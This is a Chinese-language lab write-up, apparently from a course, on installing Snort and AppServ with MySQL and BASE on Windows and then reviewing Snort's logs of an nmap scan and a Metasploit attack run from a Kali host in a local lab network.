在1998年,Martin Roesch用C语言开发了开放源代码(Open Source)的入侵检测系统Snort。Snort已发展成为一个具有多平台(Multi-Platform)、实时(Real-Time)流量分析、网络IP数据包(Pocket)记录等特性的强大的网络入侵检测/防御系统(Network Intrusion Detection/Prevention System),即NIDS/NIPS。Snort符合通用公共许可(GPL——GNU General Pubic License),在网上可以通过免费下载获得Snort,并且只需要几分钟就可以安装并开始使用。
Snort有三种工作模式:嗅探器、数据包记录器、网络入侵检测系统。嗅探器模式仅仅是从网络上读取数据包并作为连续不断的流显示在终端上。数据包记录器模式把数据包记录到硬盘上。网络入侵检测模式是最复杂的,而且是可配置的。我们可以让snort分析网络数据流以匹配用户定义的一些规则,并根据检测结果采取一定的动作。
Snort能够对网络上的数据包进行抓包分析,但区别于其它嗅探器的是,它能根据所定义的规则进行响应及处理。Snort 通过对获取的数据包,进行各规则的分析后,根据规则链,可采取Activation(报警并启动另外一个动态规则链)、Dynamic(由其它的规则包调用)、Alert(报警),Pass(忽略),Log(不报警但记录网络流量)五种响应的机制。
Snort有数据包嗅探,数据包分析,数据包检测,响应处理等多种功能,每个模块实现不同的功能,各模块都是用插件的方式和Snort相结合,功能扩展方便。例如,预处理插件的功能就是在规则匹配误用检测之前运行,完成TIP碎片重组,http解码,telnet解码等功能,处理插件完成检查协议各字段,关闭连接,攻击响应等功能,输出插件将得理后的各种情况以日志或警告的方式输出。

3.1.2,AppServ简介

AppServ 是 PHP 网页架站工具组合包,作者将一些网络上免费的架站资源重新包装成单一的安装程序,以方便初学者快速完成架站,AppServ 所包含的软件有:Apache、Apache Monitor、PHP、MySQL、phpMyAdmin等。为帮助大家能够迅速的在本地试用EcShop软件,我们编写如下文档。如果您的本地机器没有安装过apache、php、mysql等系统,那么用这个软件则可以让你迅速搭建完整的底层环境。

3.2,搭建Snort及AppServ

3.2.1,安装Snort

按照默认选项,一直安装即可,安装完成之后,在Snort/bin目录下运行Snort。

使用“snort -W”来查看此时的网卡信息

导入官方的规则包,包括:icmp规则包、mysql规则包、sql规则包、telent规则包、dos规则包等。

3.2.3,安装AppServ

按照默认选项进行安装,安装完成后,在浏览器输入localhost,可以看到如下的界面。

3.2.3.1,在MySql中创建snortdb和snortarc,以及所需的数据表

打开cmd,进入到C:/AppServ/MySQL/bin目录,输入mysql -u root -p输入密码之后输入以下:
·mysql> create database snortdb;
·mysql> create database snortarc;
·mysql> use snortdb;
·mysql> source D:\SoftWare\Snort\schemas\create_mysql
·mysql> use snortarc;
·mysql> source D:\SoftWare\Snort\schemas\create_mysql
·mysql> grant usage on . to “snort”@“localhost” identified by “snort”;
·mysql> grant select,insert,update,delete,create,alter on snortdb .* to “snort”@“localhost”;
·mysql> grant select,insert,update,delete,create,alter on snortarc .* to “snort”@“localhost”;
·mysql> set password for “snort”@“localhost”=password(‘snort’);

3.2.3.2,配置base

(1) 安装base,将其解压缩并重命名为base放到C:/AppServ/www/目录下面;在浏览器中登录:localhost/base/setup/index.php


(2) 将adodb也放到C:/AppServ/www/目录下面,并复制adodb文件的路径


(3) 链接数据库,输入数据库的名字和密码

(4) 创建用户名和密码

(5) 创建base AG


(6) 创建成功后,返回至上一步


(7) 部署成功,观察到数据统计的情况

3.3,Snort检测情况

3.3.1,Kali使用nmap扫描局域网

(1) 攻击主机kali使用nmap扫描192.168.43.0局域网


(2) 查看snort检测的情况,检测到大量的icmp包传输来自192.168.43.153

(3) 查看日志文件

3.3.2,Metasploit渗透攻击检测

(1) 检测到tcp包


(2) 查看日志

1, 查看snort记录到的主机之间的交互,包括源主机和目的主机信息
(1) 源主机信息

(2) 目的主机信息

网络靶场攻防综合实验相关推荐

  1. 网络工程组网综合实验-校园网的搭建(链路聚合、PAT、扩展ACL、动态路由)

    网络拓扑图 1.设备IP地址规划 设备名称 管理地址 子网掩码 所属VLAN 行政楼汇聚交换机 172.16.1.250 255.255.255.0 VLAN 1 行政楼1楼接入交换机 172.16. ...

  2. 业绩不稳的永信至诚,能稳坐国内网络靶场的头把交椅吗?

    数据智能产业创新服务媒体 --聚焦数智 · 改变商业 在行业竞争激烈的背景下,作为IT安全服务细分市场--安全企业级培训服务的龙头,北京永信至诚科技有限公司(以下简称"永信至诚") ...

  3. #20155235 《网络攻防》 实验二 后门原理与实践

    20155235 <网络攻防> 实验二 后门原理与实践 实验目的 建立一个后门连接是如此的简单,功能又如此强大.通过亲手实践并了解这一事实,从而提高自己的安全意识 . 实验内容 (1)使用 ...

  4. 20155201 网络攻防技术 实验六 信息搜集与漏洞

    20155201 网络攻防技术 实验六 信息搜集与漏洞 一.实践内容 各种搜索技巧的应用 DNS IP注册信息的查询 基本的扫描技术:主机发现.端口扫描.OS及服务版本探测.具体服务的查点 漏洞扫描: ...

  5. 20155235 《网络攻防》 实验八 Web基础

    20155235 <网络攻防> 实验八 Web基础 实验内容 Web前端HTML(0.5分) 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表 ...

  6. 20155235 《网络攻防》 实验四 恶意代码分析

    20155235 <网络攻防> 实验四 恶意代码分析 实验目的 是监控你自己系统的运行状态,看有没有可疑的程序在运行. 是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工具 ...

  7. 华为ensp的缺省_利用华为ENSP模拟器分析和配置中小型企业网络的综合实验

    增强分析和配置中小型企业网络的综合能力 本实验模拟了一个企业网络场景,其中R1为公司总部的路由器,交换机S1,S2,S3,S4,服务器,终端等设备组成了公司总部的园区网,R2,R3,R4为公司分部的路 ...

  8. 《网络攻防》实验三:免杀原理与实践

    <网络攻防>实验三:免杀原理与实践 世界上公认的第一个在个人电脑上广泛流行的病毒是1986年初诞生的大脑(C-Brain)病毒,编写该病毒的是一对巴基斯坦兄弟,两兄弟经营着一家电脑公司,以 ...

  9. MGRE网络的chap认证--ppp认证--tunnel 隧道综合实验

    MGRE网络的chap认证--ppp认证--tunnel 隧道综合实验 一.要求: 1.R5为Ips只能配置地址. 2.R1--R3建立MGRE环境且用EIGRP学习各自环回. 3.R4 可以正常访问 ...

  10. 网络工程师课程---7、网络通信综合实验(做网络基础综合实验 用什么软件)...

    网络工程师课程---7.网络通信综合实验(做网络基础综合实验 用什么软件) 一.总结 一句话总结: cisco packet ['pækɪt]  tracer ['treɪsə] packet 英 [ ...

最新文章

  1. java 实现 堆排序算法_C程序实现堆排序算法
  2. redis的事务不是原子性
  3. HTML中常见问题汇总贴
  4. utilities(matlab)—— PSNR 值的计算
  5. 论文的事情终于可以告一段落了
  6. 使用Python中的mock模块进行单元测试
  7. servlet request返回上下文路径的方法
  8. php鼠标指针,在windows中鼠标指针呈四箭头时一般表示什么
  9. Centos7搭建maven私服nexus3,互联网大厂高频重点面试题
  10. 2022年全网首发|大数据专家级技能模型与学习指南(胜天半子篇)
  11. c#sql防注入模糊查询_c#模糊查询数据库
  12. 生成小程序二维码(草料)
  13. Element组件--Upload文件/图片上传
  14. windows下Elasticsearch安装、ElasticSearch-head插件安装使用
  15. 助力自己在金融领域中更加游刃有余的人大与加拿大女王大学金融硕士项目你读到了吗?
  16. 从纹理中生成法线贴图
  17. 【离散数学】最小生成树失败普罗米
  18. 安卓 微信公众号 默认不操作拦截回退失败
  19. python高级进阶_7_Python动态语言之紧箍咒(slots)03
  20. html标签闭合在线检测,HP自动检查html标签是否闭合(示例代码)

热门文章

  1. 高等数学(第七版)同济大学 总习题一 个人解答
  2. 基于Android图书馆借阅系统app毕业设计
  3. 2022年最新前端面试题(大前端时代来临卷起来吧小伙子们..持续维护走到哪记到哪)
  4. Python数据挖掘实战-唐宇迪-专题视频课程
  5. android电源管理白名单,{更新}k29去除白名单支持原生电源管理的bios(1.10;1.66)...
  6. 2021全国大学生数学建模竞赛B题摘要及总结
  7. 计算机教育部一级学科,教育部学科门类,一级学科有多少个?
  8. (已成功)windows下,VS2012+Qt5.5.1的安装、路径配置、项目配置(其它版本可参考)
  9. Baxter学习笔记
  10. java项目需求文档,干货整理